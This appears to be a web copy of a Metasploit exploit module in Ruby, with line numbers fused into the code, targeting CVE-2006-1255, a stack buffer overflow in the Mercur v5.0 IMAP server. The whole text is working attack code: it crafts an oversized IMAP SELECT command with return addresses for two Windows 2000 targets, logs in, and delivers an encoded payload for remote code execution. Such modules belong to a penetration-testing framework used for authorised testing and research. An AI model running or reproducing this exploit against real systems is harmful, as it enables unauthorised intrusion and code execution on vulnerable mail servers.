Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/imap/mercur_imap_select_overflow.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Imap910def initialize(info = {})11super(update_info(info,12'Name' => 'Mercur v5.0 IMAP SP3 SELECT Buffer Overflow',13'Description' => %q{14Mercur v5.0 IMAP server is prone to a remotely exploitable15stack-based buffer overflow vulnerability. This issue is due16to a failure of the application to properly bounds check17user-supplied data prior to copying it to a fixed size memory buffer.18Credit to Tim Taylor for discover the vulnerability.19},20'Author' => [ 'Jacopo Cervini <acaro[at]jervus.it>' ],21'License' => BSD_LICENSE,22'References' =>23[24[ 'CVE', '2006-1255' ],25[ 'OSVDB', '23950' ],26[ 'BID', '17138' ],27],28'Privileged' => true,29'DefaultOptions' =>30{31'EXITFUNC' => 'process',32},33'Payload' =>34{35'Space' => 400,36'BadChars' => "\x00",37'StackAdjustment' => -3500,3839},40'Platform' => 'win',41'Targets' =>42[43['Windows 2000 Server SP4 English', { 'Offset' => 126, 'Ret' => 0x13e50b42 }],44['Windows 2000 Pro SP1 English', { 'Offset' => 127, 'Ret' => 0x1446e242 }],45],46'DefaultTarget' => 0,47'DisclosureDate' => '2006-03-17'))4849end5051def exploit52sploit = "a001 select " + "\x43\x49\x41\x4f\x20\x42\x41\x43\x43\x4f\x20"53sploit << rand_text_alpha_upper(94) + rand_text_alpha_upper(target['Offset'])54sploit << [target.ret].pack('V') + "\r\n" + rand_text_alpha_upper(8)55sploit << payload.encoded + rand_text_alpha_upper(453)5657info = connect_login5859if (info == true)60print_status("Trying target #{target.name} using heap address at 0x%.8x..." % target.ret)61sock.put(sploit + "\r\n")62else63print_status("Not falling through with exploit")64end6566handler67disconnect68end69end707172